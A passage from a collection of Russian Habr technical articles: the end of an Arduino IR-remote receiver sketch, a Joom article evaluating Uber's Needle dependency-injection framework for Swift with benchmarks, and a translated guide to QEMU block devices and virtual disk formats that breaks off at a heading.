usecs2 = micros(); // сбрасываем Таймер 2
if(start==true){ // Если до этого был запущен отсчет импульсов, значит у нас в буфере должен был скопиться код клавиши.
usecs = micros(); // сбрасываем таймер 1
while(bc<40){ // выравниваем вывод. честно говоря, я уже не помню почему так сделал, но раз сделал - значит так надо.
bits += "0";
buffer = buffer << 1;
bc++;
}
buffer = buffer & 1048575; // Использование magic-numbers плохо влияет на карму. Это маска для toggle-бита.
Serial.println(buffer); // ВЫВОДИМ КОД!
if (dbg){ // если включена отладка
Serial.print("bits="); // выводим код в виде единиц и нулей
Serial.println(bc); // выводим число битов
}
digitalWrite(13,LOW); // Мигаем светодиодом в знак того,
delay(100); // что код от пульта был
digitalWrite(13,HIGH); // принят и распознан.
switch(buffer){ // Прочие действия при нажатии некоторых кнопок.
case 8448: // Кнопка Power на моём пульте.
Serial.println("POWER"); // Выводим сообщение POWER помимо кода кнопки. Удобно при разборе логов EventGhost.
digitalWrite(12,LOW); // Прижимаем к земле пин кнопки питания на мат.плате
delay(300); // На 300мс
digitalWrite(12,HIGH); // И отпускаем
default:
break;
}
buffer=0; // Обнуляем буффер
bits=""; // Обнуляем отладочную строку с битами
start=false; // Сбрасываем признак отсчета
bc=0; // Сбрасываем количество бит
}
}
}
}
```
#### А что дальше?
А дальше приложение [EventGhost](http://www.eventghost.org/) считывает коды из порта RS-232 и «дёргает за ниточки» всем известной оболочки [XBMC](http://xbmc.org/). Настройка того и другого индивидуальна и в то же время проста, поэтому не заслуживает внимания.
#### Результат
Устройство работает уже несколько месяцев. Пользуется им в основном мой отец, далекий от техники, поэтому минимально необходимое количество кнопок на пульте является достаточно удобным обстоятельством. Питание включается и отключается, ошибочных срабатываний не бывает. | https://habr.com/ru/post/204906/ | null | ru | null |
# Знакомимся с Needle, системой внедрения зависимостей на Swift
Привет! Меня зовут Антон, я iOS-разработчик в Joom. Из этой статьи вы узнаете, как мы работаем с DI-фреймворком Needle, и реально ли он чем-то выгодно отличается от аналогичных решений и готов для использования в production-коде. Это всё — с замерами производительности, естественно.
Предыстория
===========
Во времена, когда приложения для iOS еще писали полностью на Objective-C, существовало не так много DI-фреймворков, и стандартом по умолчанию среди них считался [Typhoon](https://github.com/appsquickly/Typhoon). При всех своих очевидных плюсах, Typhoon приносил с собой и определённый overhead в runtime, что приводило к потере производительности в приложении.
На заре Joom мы попытались воспользоваться этим решением, но показанные им характеристики в тестовых замерах оказались не удовлетворительны для нас, и от него решили отказаться в пользу собственного решения. Это было так давно, что те времена из нашей нынешней iOS-команды застал всего один человек, и описанные события восстановлены по его воспоминаниям.
Потом на смену Objective-C пришел Swift, и все больше приложений стало переходить на этот новый язык. Ну а что же мы?
Пока все переходили на Swift, мы продолжали писать на Objective-C и пользовались самописным решением для DI. В нем было реализовано все то, что нам нужно было от инструмента для внедрения зависимостей: скорость и надежность.
Скорость обеспечивалась за счет того, что не надо было регистрировать никакие зависимости в runtime. Контейнер состоял из обычных property, которые могли при необходимости предоставляться в виде:
* обычного объекта, который создается при каждом обращении к зависимости;
* глобального синглтона;
* синглтона для определенного сочетания набора входных параметров.
При этом все дочерние контейнеры создавались через lazy property у родительских контейнеров. Другими словами, граф зависимостей у нас строился на этапе компиляции проекта, а не в runtime.
Надежность обеспечивалась за счет того, что все проверки проходили в compile time. Поэтому если где-то в header контейнера мы объявили зависимость и забыли реализовать ее создание в implementation, или у зависимости не находилось какое-либо свойство в месте обращения к ней, то об этом мы узнавали на этапе компиляции проекта.
Но у этого решения был один недостаток, который нам мешал жить.
Представьте, что у вас есть граф DI-контейнеров и вам надо из контейнера в одной ветке графа пронести зависимость в контейнер из другой ветки графа. При этом глубина веток запросто может достигать 5-6 уровней.
Вот список того, что нужно было сделать в нашем решении для проброса одной зависимости из родительского контейнера в дочерний:
* сделать forward declaration типа новой зависимости в .h-файле дочернего контейнера;
* объявить зависимость в качестве входного параметра конструктора в .h-файле дочернего контейнера;
* сделать #import header с типом зависимости в .m-файле дочернего контейнера;
* объявить зависимость в качестве входного параметра конструктора в .m-файле дочернего контейнера;
* объявить свойство в дочернем контейнере, куда мы положим эту зависимость.
Многовато, не правда ли? И это только для проброса на один уровень ниже.
Понятно, что половину этих действий требует сама идеология разбиения кода на заголовочные файлы и файлы с имплементацией в языках семейства Cи. Но это становилось головной болью разработчика и требовало от него по сути бездумного набора copy/paste действий, которые убивают любую мотивацию в процессе разработки.
В качестве альтернативы пробросу одной конкретной зависимости можно воспользоваться передачей всего контейнера с зависимостями. Это могло сработать, если было понимание, что в будущем из пробрасываемого контейнера могут понадобится и другие зависимости. И мы частенько так делали.
Но это неправильный путь. В таком случае один объект получает больше знаний, чем ему нужно для работы. Все мы проходили интервью, где рассказывали про принципы SOLID, заветы Дядюшки Боба, и вот это вот все, и знаем, что так делать не стоит. И мы достаточно долго жили только с этим решением и продолжали писать на Objective-C.
Возможно, вы помните нашу первую часть [статьи о том, как писать на этом языке в 2018](https://habr.com/ru/company/joom/blog/431236/).
Вторую часть, как и второй том «Мертвых душ» Гоголя, миру уже не суждено увидеть.
В начале этого года мы приняли окончательное решение о переводе разработки новых фичей на Swift и постепенного избавления от наследия Objective-C.
В плане DI настало время еще раз посмотреть на имеющиеся решения.
Нам нужен был framework, который бы обладал теми же преимуществами, что и наше самописное решение на Objective-C. При этом бы не требовал написания большого объема boilerplate кода.
На данный момент существует множество DI framework-ов на Swift. Cамыми популярными на текущий момент можно назвать [Swinject](https://github.com/Swinject/Swinject) и [Dip](https://github.com/AliSoftware/Dip/). Но у этих решений есть проблемы.
А именно:
* Граф зависимостей создается в runtime. Поэтому, если вы забыли зарегистрировать зависимость, то об этом вы узнаете благодаря падению, которое произойдет непосредственно во время работы приложения и обращения к зависимости.
* Регистрация зависимостей так же происходит в runtime, что увеличивает время запуска приложения.
* Для получения зависимости в этих решениях приходится пользоваться такими конструкциями языка, как force unwrap `!` (Swinject) или `try!` (Dip) для получения зависимостей, что не делает ваш код лучше и надежнее.
Нас это не устраивало, и мы решили поискать альтернативные решения. К счастью, нам попался достаточно молодой DI framework под названием [Needle](https://github.com/uber/needle).
Общая информация
================
Needle — это open-source решение от компании Uber, которое написано на Swift и существует с 2018 года (первый коммит — 7 мая 2018).
Главным преимуществом по словам разработчиков является обеспечение compile time safety кода работы для внедрения зависимостей.
Давайте разберемся как это все работает.
Needle состоит из двух основных частей: генератор кода и NeedleFoundation framework.
Генератор кода
--------------
Генератор кода нужен для парсинга DI кода вашего проекта и генерации на его основе графа зависимостей. Работает на базе [SourceKit](https://github.com/apple/swift/tree/master/tools/SourceKit).
Во время работы генератор строит связи между контейнерами и проверяет доступность зависимостей. В результате его работы для каждого контейнера будет сгенерирован свой собственный `DependencyProvider`, основным назначением которого является предоставление контейнеру зависимостей от других контейнеров. Более подробно про это мы поговорим чуть позже.
Но главное, что если какая-либо зависимость не найдена, то генератор выдаст ошибку с указанием контейнера и типом зависимости, которая не найдена.
Сам генератор поставляется в бинарном виде. Его можно получить двумя способами:
1. Воспользоваться утилитой homebrew:
`brew install needle`
2. Склонировать репозиторий проекта и найти его внутри:
`git clone https://github.com/uber/needle.git & cd Generator/bin/needle`
Для подключения в проект необходимо добавить `Run Script` фазу, в которой достаточно указать путь до генератора и путь до файла, куда будет помещен сгенерированный код. Пример такой настройки:
```
export SOURCEKIT_LOGGING=0 && needle generate ../NeedleGenerated.swift
```
`../NeedleGenerated.swift` — файл, в которой будет помещен весь генерированный код для построения графа зависимостей.
NeedleFoundation
----------------
NeedleFoundation — это фреймворк, который предоставляет разработчикам набор базовых классов и протоколов для создания контейнеров с зависимостями.
Устанавливается без проблем через один из менеджеров зависимостей. Пример добавления с помощью `CocoaPods`:
```
pod 'NeedleFoundation'
```
Сам граф начинает строиться с создания root-контейнера, который должен быть наследником специального класса `BootstrapComponent`.
Остальные контейнеры должны наследоваться от класса `Component`.
Зависимости DI-контейнера описываются в протоколе, который наследуется от базового протокола зависимостей `Dependency` и указывается в качестве generic type-а самого контейнера.
Вот пример такого контейнера с зависимостями:
```
protocol SomeUIDependency: Dependency {
var applicationURLHandler: ApplicationURLHandler { get }
var router: Router { get }
}
final class SomeUIComponent: Component {
...
}
```
Если зависимостей нет, то указывается специальный протокол .
Все DI-контейнеры содержат в себе lazy-свойства `path` и `name`:
```
// Component.swift
public lazy var path: [String] = {
let name = self.name
return parent.path + ["\(name)"]
}()
private lazy var name: String = {
let fullyQualifiedSelfName = String(describing: self)
let parts = fullyQualifiedSelfName.components(separatedBy: ".")
return parts.last ?? fullyQualifiedSelfName
}()
```
Эти свойства нужны для того, чтобы сформировать путь до DI-контейнера в графе.
Например, если у нас есть следующая иерархия контейнеров:
`RootComponent->UIComponent->SupportUIComponent`,
то для `SupportUIComponent` свойство `path` будет содержать значение `[RootComponent, UIComponent, SupportUIComponent]`.
Во время инициализации DI-контейнера в конструкторе извлекается `DependencyProvider` из специального регистра, который представлен в виде специального singleton-объекта класса `__DependencyProviderRegistry`:
```
// Component.swift
public init(parent: Scope) {
self.parent = parent
dependency = createDependencyProvider()
}
// ...
private func createDependencyProvider() -> DependencyType {
let provider = __DependencyProviderRegistry.instance.dependencyProvider(for: self)
if let dependency = provider as? DependencyType {
return dependency
} else {
// This case should never occur with properly generated Needle code.
// Needle's official generator should guarantee the correctness.
fatalError("Dependency provider factory for \(self) returned incorrect type. Should be of type \(String(describing: DependencyType.self)). Actual type is \(String(describing: dependency))")
}
}
```
Для того, чтобы найти нужный `DependencyProvider` в `__DependencyProviderRegistry` используется ранее описанное свойство контейнера `path`. Все строки из этого массива соединяются и образуют итоговую строку, которая отражает путь до контейнера в графе. Далее от итоговой строки берется hash и по нему уже извлекается фабрика, которая и создает провайдер зависимостей:
```
// DependencyProviderRegistry.swift
func dependencyProvider(`for` component: Scope) -> AnyObject {
providerFactoryLock.lock()
defer {
providerFactoryLock.unlock()
}
let pathString = component.path.joined(separator: "->")
if let factory = providerFactories[pathString.hashValue] {
return factory(component)
} else {
// This case should never occur with properly generated Needle code.
// This is useful for Needle generator development only.
fatalError("Missing dependency provider factory for \(component.path)")
}
}
```
В итоге полученный `DependencyProvider` записывается в свойство контейнера `dependency`, с помощью которого во внешнем коде можно получить необходимую зависимость.
Пример обращения к зависимости:
```
protocol SomeUIDependency: Dependency {
var applicationURLHandler: ApplicationURLHandler { get }
var router: Router { get }
}
final class SomeUIComponent: Component {
var someObject: SomeObjectClass {
shared {
SomeObjectClass(router: dependecy.router)
}
}
}
```
Теперь рассмотрим откуда берутся `DependecyProvider`.
Создание DependencyProvider
---------------------------
Как мы уже было отмечено ранее, для каждого объявленного в коде DI-контейнера создается свой `DependencyProvider`. Это происходит за счет кодогенерации. Генератор кода `Needle` анализирует исходный код проекта и ищет всех наследников базовых классов для DI-контейнеров `BootstrapComponent` и `Component`.
У каждого DI-контейнера есть протокол описания зависимостей.
Для каждого такого протокола генератор анализирует доступность каждой зависимости путем поиска ее среди родителей контейнера. Поиск идет снизу вверх, т.е. от дочернего компонента к родительскому.
Зависимость считается найденой только если совпадают имя и тип зависимости.
Если зависимость не найдена, то сборка проекта останавливается с ошибкой, в которой указывается потерянная зависимость. Это первый уровень обеспечения compile-time safety.
После того, как будут найдены все зависимости в проекте, генератор кода Needle создает `DependecyProvider` для каждого DI-контейнера. Полученный провайдер отвечает соответствующему протоколу зависимостей:
```
// NeedleGenerated.swift
/// ^->RootComponent->UIComponent->SupportUIComponent->SomeUIComponent
private class SomeUIDependencyfb16d126f544a2fb6a43Provider: SomeUIDependency {
var applicationURLHandler: ApplicationURLHandler {
return supportUIComponent.coreComponents.applicationURLHandler
}
// ...
}
```
Если по каким-то причинам на этапе построения связей между контейнерами потерялась зависимость и генератор пропустил этот момент, то на этом этапе вы получите не собирающийся проект, так как поломанный `DependecyProvider` не будет отвечать протоколу зависимостей. Это второй уровень compile-time safety от Needle.
Теперь рассмотрим процесс поиска провайдера зависимостей для контейнера.
Регистрация DependencyProvider
------------------------------
Получив готовые DependecyProvider и зная связь между контейнерами, генератор кода Needle создает для каждого контейнера путь в итоговом графе.
Каждому пути сопоставляется closure-фабрика, внутри которой возвращается провайдер зависимостей. Код сопоставления создается кодогенератором.
В результате появляется глобальная функция `registerProviderFactories()`, которую мы должны вызвать в своем коде до первого обращения к каким-либо DI-контейнерам.
```
// NeedleGenerated.swift
public func registerProviderFactories() {
__DependencyProviderRegistry.instance.registerDependencyProviderFactory(for: "^->RootComponent") { component in
return EmptyDependencyProvider(component: component)
}
__DependencyProviderRegistry.instance.registerDependencyProviderFactory(for: "^->RootComponent->UIComponent") { component in
return EmptyDependencyProvider(component: component)
}
// ...
}
```
Сама регистрация внутри глобальной функции происходит с помощью singleton-объекта класса `__DependencyProviderRegistry`. Внутри данного объекта провайдеры зависимостей складываются в словарь `[Int: (Scope) -> AnyObject]`, в котором ключом является `hashValue` от строки, описывающий путь от вершины графа до контейнера, а значением — closure-фабрика. Сама запись в таблицу является thread-safe за счет использования внутри `NSRecursiveLock`.
```
// DependencyProviderRegistry.swift
public func registerDependencyProviderFactory(`for` componentPath: String, _ dependencyProviderFactory: @escaping (Scope) -> AnyObject) {
providerFactoryLock.lock()
defer {
providerFactoryLock.unlock()
}
providerFactories[componentPath.hashValue] = dependencyProviderFactory
}
```
Результаты тестирования в проекте
=================================
Сейчас у нас порядка 430к строк кода без учета сторонних зависимостей. Из них около 83к строк на Swift.
Все замеры мы проводили на iPhone 11 c iOS 13.3.1 и с использование Needle версии 0.14.
В тестах сравнивались две ветки — актуальный `develop` и ветка, в которой root-контейнер и все его дочерние контейнеры были переписаны на needle-конейнеры, и одна ветка контейнеров в графе полностью заменена на Needle. Все изменения для тестов проводились именно в этой ветке графа.
Проведенные тесты
-----------------
**Время полной сборки**
| Номер измерения | Без Needle | С Needle |
| --- | --- | --- |
| 1 | 294.5s | 295.1s |
| 2 | 280.8s | 286.4s |
| 3 | 268.2s | 294.1s |
| 4 | 282.9s | 279.5s |
| 5 | 291.5s | 293.4s |
Среднее значение *без Needle*: `283.58s`
Среднее значение *с Needle*: `289.7s`
Как видно, время на первоначальный анализ кода проекта, который должен провести кодогенератор Needle, принесло нам +6 секунд ко времени чистой сборки с нуля.
**Время инкрементальной сборки**
| Номер измерения | Без Needle | С Needle |
| --- | --- | --- |
| 1 | 37.8s | 36.1s |
| 2 | 27.9s | 37.0s |
| 3 | 37.3s | 33.0s |
| 4 | 38.2s | 35.5s |
| 5 | 37.8s | 35.8s |
Среднее значение *Без Needle*: `35.8s`
Среднее значение *С Needle*: `35.48s`
В этом тесте мы добавляли и удаляли к контейнеру в самом низу графа одну и ту же зависимость.
**Измерения registerProviderFactories()**
Среднее значение (секунды): `0.000103`
Замеры:
```
0.0001500844955444336
0.0000939369201660156
0.0000900030136108398
0.0000920295715332031
0.0001270771026611328
0.0000950098037719726
0.0000910758972167968
0.0000970363616943359
0.0000969171524047851
0.0000959634780883789
```
В этом тесте мы выяснили, что время на запуск нашего приложения при использовании Needle почти не изменилось.
**Измерения первого доступа к зависимости**
| Номер измерения | Без Needle | С Needle | C Needle + FakeComponents |
| --- | --- | --- | --- |
| 1 | 0.000069 | 0.001111 | 0.002981 |
| 2 | 0.000103 | 0.001153 | 0.002657 |
| 3 | 0.000080 | 0.001132 | 0.002418 |
| 4 | 0.000096 | 0.001142 | 0.002812 |
| 5 | 0.000078 | 0.001177 | 0.001960 |
Среднее значение *Без Needle* (секунды): `0.000085`
Среднее значение *C Needle* (секунды): `0.001143` (`+0.001058`)
Среднее значение *C Needle + FakeComponents* (секунды): `0.002566`
*Примечание:* `SomeUIComponent` в тестируемом примере лежит на седьмом уровне вложенности графа:`^->RootComponent->UIComponent->SupportUIComponent->SupportUIFake0Component->SupportUIFake1Component->SupportUIFake2Component->SupportUIFake3Component->SomeUIComponent`
В этом тесте мы померили скорость первоначального обращения к зависимости. Как видно, наше самописное решение тут выигрывает в десятки раз. Но если посмотреть на абсолютные цифры, то это очень незначительное время.
**Измерения повторного доступа к BabyloneUIComponent c Needle**
| Номер измерения | Без Needle | С Needle | C Needle + FakeComponents |
| --- | --- | --- | --- |
| 1 | 0.000031 | 0.000069 | 0.000088 |
| 2 | 0.000037 | 0.000049 | 0.000100 |
| 3 | 0.000053 | 0.000054 | 0.000082 |
| 4 | 0.000057 | 0.000064 | 0.000092 |
| 5 | 0.000041 | 0.000053 | 0.000088 |
Среднее значение *без Needle* (секунды): `0.000044`
Среднее значение *с Needle* (секунды): `0.000058`
Среднее значение *с Needle + FakeComponents* (секунды):`0.000091`
Повторное обращение к зависимости происходит еще быстрее. Тут наше решение опять выигрывает, но абсолютные цифры так же очень малы.
Выводы
======
В итоге по результатам тестов мы пришли к выводу, что Needle дает нам именно то, что мы хотели от DI-фреймворка.
Он дает нам надежность благодаря обеспечению compile time safety кода зависимостей.
Он быстрый. Не такой быстрый, как наше самописное решение на Objective-C, но все же в абсолютных цифрах он достаточно быстрый для нас.
Он избавляет нас от необходимости руками вносить зависимости через множество уровней в графе за счет своей кодогенерации. Достаточно реализовать создание зависимости в одном контейнере и задекларировать потребность в ней в другом контейнере через специальный протокол.
При использовании Needle все же остается проблема того, что на старте приложения нам надо выполнить какие-то настройки кода зависимостей. Но как показал тест, прирост времени запуска составил меньше миллисекунды и мы готовы с этим жить.
На наш взгляд, Needle отлично подходит для команд и проектов, которые заботятся, как и мы, о производительности и надежности приложения, а так же удобстве работы с его кодовой базой. | https://habr.com/ru/post/514784/ | null | ru | null |
# Блочные устройства QEMU
В QEMU есть несколько способов подключить блочное устройство для виртуальной машины. Изначально это было реализовано следующим способом:
```
-hda /dev/sda1
```
Таким образом виртуальные диски подключались в давние дни виртуализации. Его можно использовать и сегодня, если мы просто хотим протестировать некоторые liveCD. К сожалению, он имеет свои недостатки:
* При подключении виртуальных дисков возможно использовать только тот интерфейс, который на виртуальной машине рассматривается как `/dev/hda` (hda,hdb,hdc,..); Для CD предусмотрен параметр `-cdrom`
* При подключении файла (или устройства) к виртуальной машине QEMU использует только параметры по умолчанию.
drive
-----
Чтобы устанавливать другие параметры (тип шины, использование кеша и т.д.), В QEMU был добавлен параметр `-drive`. Хотя изначально он использовался для установки параметров как для *backend* и так и *frontend*, в настоящее время он используется **только** для установки параметров *backend*, то есть параметров, влияющих на подключение виртуального устройства внутри виртуальной машины
```
-drive file=/dev/sda1,if=ide,cache=writeback,aio=threads
```
device
------
Настройка всех параметров блочного устройства одной опцией с течением времени оказалась неразумной. Поэтому опции были разделены на две. Параметры *backend*, т. е. те, которые используются для настройки среды виртуализации. И *frontend*, которые влияют на то, как устройство подключено в виртуальной машине. Для этого набора параметров была введена новая опция `-device`, который содержит идентификатор *id* диска, заданный параметром `-drive`.
Следующий пример конфигурации подключит диск с идентификатором **ide0-hd0**, и полученный результат совпадает с простым подключением виртуального диска, как показано во введении.
```
-drive file=/dev/sda1,id=ide0-hd0,if=none,cache=writeback,aio=threads \
-device ide-drive,bus=ide.0,drive=ide0-hd0
```
Локальные блочные устройства в виртуальной машине
=================================================
[](https://support.dce.felk.cvut.cz/mediawiki/images/e/ef/qemu_block_device.svg)
Использование физических блочных устройств для виртуальных машин на сегодня распространено не сильно в виду повсеместного использования виртуальных дисков. Технически мы имеем возможность запустить виртуальную машину с какой-нибудь проприетарной системой со старого жесткого диска. Однако в этом случае лучше сначала сделать образ диска (image) с помощью **dd** и запустить систему уже с него.
Как и локальное блочного устройство к виртуальной машине может быть подключено..
* Локальный RAID массив — устройство типа *md*
* Master DRBD (сетевой RAID1) — устройство типа *drbd*
* Дисковый раздел, созданный в группе LVM — устройство типа *dm*
* Обычный файл подключенный через loop — устройство типа *loop*
* Блочное устройство с другого компьютера экспортированное с помощью NBD сервера — устройство типа *nbd*
*(Здесь так же стоит упомянуть про Ceph устройство типа rbd и ZFS устройство типа zvol — прим.пер)*
NBD
---
Рассмотрим концепцию подключения блочного устройства с удаленного компьютера по сети. См [отдельное руководство для NBD](https://support.dce.felk.cvut.cz/mediawiki/index.php/NBD).
[](https://support.dce.felk.cvut.cz/mediawiki/images/c/ce/qemu_block_nbd_complicate.svg)[](https://support.dce.felk.cvut.cz/mediawiki/images/0/01/qemu_block_nbd_simple.svg)QEMU имеет интегрированное NBD API, так что удаленное блочное устройство, расширенное с помощью NBD-сервера, может быть напрямую подключено к виртуальной машине через QEMU — см. рисунок слева.
Однако NBD это достаточно простой протокол, который не использует аутентификацию на удаленном сервере и не контролирует состояние соединения. Протокол NBD предполагает, что клиент может повторно подключиться, в случае если соединение с сервером прервалось, но к сожалению QEMU так не делает.
Частично ситуация может быть решена путем подключения нескольких NBD устройств и создания внутри них виртуального RAID-массива. У этого подхода есть несколько преимуществ и один фатальный недостаток. Если какое-то из устройств отключится, то ничего страшного не произойдет. Но если они вылетят все одновременно = будет плохо. Операции ввода-вывода в виртуальной среде будут намного быстрее, поскольку запросы будут выполняться параллельно сразу к нескольким физическим машинам (NBD-серверам). Но с другой стороны это потребует больше ресурсов виртуального процессора и виртуальной памяти.
Основным недостатком построения RAID-массива из NBD устройств в виртуальной машине является устройство QEMU, в случае если NBD устройство падает, оно будет переподключено только после **полного перезапуска** машины, при этом внутренней перезагрузки операционной системы внутри виртуальной машины будет недостаточно. Но можно создать виртуальную машину без дисков которая будет самостоятельно обращаться к NBD-серверу и подключать необходимые NBD устройства. Кроме того, отказавшие устройства должны быть повторно добавлены в массив и пересинхронизированны, это может быть выполнено как в ручную так и с помощью скриптов внутри виртуальной машины.
[](https://support.dce.felk.cvut.cz/mediawiki/images/5/5b/qemu_block_nbd_raid.svg)Обращаться к NBD серверу лучше используя NBD устройство виртуальной машины. Особенно хорошо, с точки зрения I/O-производительности, построение RAID массива из NBD-устройств.
Это решение оказалось абсолютно самым производительным из всех опробованных. А виртуальная машина смогла продолжить непрерывную работу даже в случае отключения NBD сервера (или выхода из строя) с течением времени.
Таким образом, удалось организовать относительно стабильную и в то же время производительную среду виртуализации на нестабильным оборудовании.
> Основная проблема RAID-массивов поверх NBD устойств заключается в том, что вам нужно быть очень осторожным при подключении с NBD-сервера устройства, которое входит в RAID-массив. Это достаточно деликатный процесс с высокой вероятностью фатальной ошибки, которая может привести к потере данных. Достаточно небольшой опечатки. См. описание аварии со смертельным исходом машины от 21 июля 2012 года на странице [Peanuts](https://support.dce.felk.cvut.cz/mediawiki/index.php/Peanuts)
Недостатком является то, что блочное устройство с которым уже работает одна виртуальная машина, нельзя подключать в другом месте, если этого не позволяет его файловая система — это аналогично **iSCSI** (**i**nternet **S**mall **C**omputer **S**ystem **I**nterface — сетевая версия SCSI) или **AoE** (технология **A**TA **o**ver **E**thernet).
Виртуальные диски
=================
[](https://support.dce.felk.cvut.cz/mediawiki/images/4/48/qemu_block_image.svg)
QEMU умеет подключать к виртуальной машине не только блочные устройства, но так же, используя различные api, может быть подключен и обычный файл, который будет выглядеть как блочное устройство внутри машины.
Форматы виртуальных дисков
--------------------------
> Qemu умеет работать с виртуальными дисками различных форматов. Для тех виртуальных дисков что представлены в виде обычных файлов, имеется стандартная утилита **qemu-img**, которую можно использовать как для конвертации так определения используемого формата и его параметров.
>
>
>
> Получение информации о виртуальном диске сохраненного как обычный файл. Таким же образом можно получить информацию о виртуальном диске, сохраненном на GlusterFS:
>
>
> ```
> root@stroj~# qemu-img info /path_to_file/soubor.img
> ```
>
>
>
>
> Однако для получения информации о виртуальном диске с помощью API GlusterFS вам необходимо использовать те же параметры, какие используются для подключения виртуального диска к виртуальной машине. Так вы можете идентифицировать втртуальный диск на машине, где установлен и используется клиент GlusterFS:
>
>
> ```
> root@stroj~# qemu-img info gluster+tcp://192.168.0.2/volume_name/soubor.img
> ```
>
>
>
>
> Виртуальный диск VDI можно идентифицировать только через API Sheepdog:
>
>
> ```
> root@stroj~# qemu-img info sheepdog:192.168.0.2:8000:vdi_name
> ```
>
>
>
>
> Для виртуального диска экспортированного с NBD сервера, необходимо проследить за тем, что указаны правильный сервер и правильный порт, потому что NBD не использует какой-либо другой механизм идентификации или аутентификации, который исключал бы путаницу с другими виртуальными дисками *(новая версия nbd-server использует только один порт и идентифицирует устроства по имени — прим.пер)*:
>
>
> ```
> root@stroj~# qemu-img info nbd:192.168.0.2:8000
> ```
>
>
>
>
> **192.168.0.2**
>
> IP-адрес узла, с которого подключается виртуальное устройство. Если это тот же хост на которо запускается **qemu-img info**, вместо IP-адреса можно использовать *localhost*
>
>
>
> **8000**
>
> Номер порта, на котором слушает демон или сервер. По умолчанию Sheepdog использует порт 7000, но он также может быть запущен на другом порту, что бы избежать конфликтов с другим приложением. NBD-сервер может слушать разные порты, в случае если экспортировано более одного устройства.
**raw**
в целом представляет собой просто набор данных, записанных в том же формате, как и на обычном блочном устройстве. Файл размера 5G будет занимать это место целиком, независимо от того, содержит он полезные данные или просто пустое пространство. *(что не применимо к разреженным файлам — прим.пер)*
**qcow**
Отличается от формата raw тем, что может быть инкрементным, потому он растет постепенно — это удобно для тех файловых систем, которые не поддерживают разреженные файлы, например FAT32. Этот формат также позволяет создавать отдельные инкрементные копии из одного базового диска. Использование такого «шаблона» экономит время и место на диске. Кроме того, он поддерживает AES шифрование и сжатие zlib. Недостатком является то, что, в отличии от raw-дисков, такой файл нельзя смонтировать на машину непосредственно на которой он находится. К счастью есть утилита **qemu-nbd**, которая может экспортировать этот файл как сетевое блочное устройство и затем подключить его к NBD устройсту.
**qcow2**
представляет собой обновленную версию формата qcow. Основное отличие заключается в том, что он поддерживает снапшоты. В остальном они принципиально не отличаются. Возможно также встретить qcow2, который внутри определяется как QCOW врсии 3, некогда давно он был включен в формат qcow2. Фактически, это модифицированный qcow2 с параметром lazy\_refcounts, который используется для снапшотов. Так как разница всего лишь в одном бите, **qemu-img** с версии 1.7 имеет опцию "amend", чтобы изменить его. Более ранние версии **qemu-img** такой возможности не имеют. Если вы хотели изменить версию формата, необходимо было преобразовать виртуальный диск в новый файл, во время преобразования параметром compat устанавливалась версия, для которую нужно было уменьшить вместо "1.1" "0.10". Наличие опции "amend" удобно тем, что нет необходимости перезаписывать данные из-за таких незначительных изменений.
```
qemu-img create -f qcow2 -o compat=1.1 test.qcow2 8G
```
<http://blog.wikichoon.com/2014/12/virt-manager-10-creates-qcow2-images.html>
**qed**
Это инкрементный формат COW виртуального диска, который создает наименьшую нагрузку на хост. Он не поддерживает никакого сжатия и использует две параллельные таблицы для адресации блоков данных (кластеров). К сожалению, ни один разработчик в течение долгого времени не был заинтересован в его развитии, поэтому его использование несет некоторые проблемы, которые будут упомянуты.
**vdi**
формат виртуального диска, используемый системой виртуализации Oracle Virtualbox.
**vmdk**
формат виртуальных дисков, используемый продуктами VMware. Это тоже формат который позволяет файлу постепенно расти. Однако он имеет большое преимущество по сравнению с qcow2 и qed форматами, которые тоже могут использоваться с бездисковыми решениями или с сетевыми файловыми системами. Он позволяет вам иметь файл виртуального диска, разделенный на несколько мелких файлы с размерам по 2 ГБ. Это осталось еще с тех времен, когда файловые системы не могли создавать файлы размером более чем 2 ГБ. Преимущество состоит в том, что если такой виртуальный диск реплицируется по сети, то передаются меньшие объемы данных, а синхронизация выполняется намного быстрее (например в случае GlusterFS). В случае бездискового решения он также используется для хранения только небольших файлов с различиями для каждого снапшота
**vhdx**
формат виртуального диска, используемый системой виртуализации Microsoft Hyper-V
**vpc**
формат виртуального диска используемый системой виртуализации Microsoft VirtualPC.
| | Инкре
менти
рован
ие | Шифр
ование | Ком
прес
сия | Преал
локация | Шабл
ониз
ация | Проп
уски | Разделе
ние образа | Внутре
нние снапшо
ты | Проверка согласован
ности | Примечание |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| **raw** | нет | нет | нет | да | нет | нет | нет | нет | нет | Может быть смонтирован через *loop* |
| **file** | да | нет | нет | опцио
нально | нет | нет | нет | нет | нет | Для Btrfs, следует отключать copy-on-write |
| **qcow** | да | да | да | нет | да | да | нет | нет | нет | |
| **qcow2** | да | да | да | опцио
нально | да | да | нет | да | да | |
| **qed** | да | нет | нет | нет | да | нет | нет | нет | нет | |
| **vmdk** | да | нет | нет | опцио
нально | да | да? | да | нет | нет | |
| **vdi** | да | нет | нет | опцио
нально (static) | нет | нет | нет | нет | да | |
| **vhdx** | да | нет | нет | опцио
нально (fixed) | нет | да[1](#cite_note-1) | нет | нет | нет | |
| **vpc** | да | нет | нет | опцио
нально (fixed) | нет | нет | нет | нет | нет | |
1. [↑](#cite_ref-1) Возможно использование только на преаллоцированных образах (fixed)
Используемые API
----------------
Помимо файловых форматов **qemu-img** так же работает с «форматами», которые предоставляются с помощью API, через который эти блочные устройства могут быть доступны удаленно.
**nfs**
файл виртуального диска подключенный к QEMU через протокол NFS
**iscsi**
связь с блочным устройством осуществляется через протокол iSCSI. Одно устройство не может быть одновременно использованно на более чем одном клиенте.
**nbd**
Получить доступ через протокол NBD можно очень быстро. Это потому что протокол очень простой. Это преимущество, но в то же время недостаток. Это может быть удобно, когда несколько клиентов могут подключиться к одному NBD серверу, если они используют локальное соединение через xnbd-сервер. Однако, поскольку nbd не имеет механизмов зашиты или аутентификации, легко может возникнуть ситуация, когда клиент случайно подключится к неправильному устройству, которое в данный момент времени может уже использоваться и повредит его.
**ssh**
соединение с удаленным сервером выполняется через sshfs
**gluster**
используется API файловой системы GlusterFS для доступа к файлу виртуального диска. Если файл является частью реплицированного или распределенного тома, он будет распределять сохраненяемые данные между другими узлами. Это позволяет ему, в случае сбоя, быть доступным и на других нодах.
**sheepdog**
также является распределенной файловой системой с поддержкой репликации. В отличие от GlusterFS, виртуальный диск через API доступен не как файл, а как блочное устройство. Это выгодно с точки зрения производительности, но невыгодно, если нам нужно выйти за пределы среды Sheepdog.
**paralles**
Виртуальные диски на сетевом хранилище
======================================
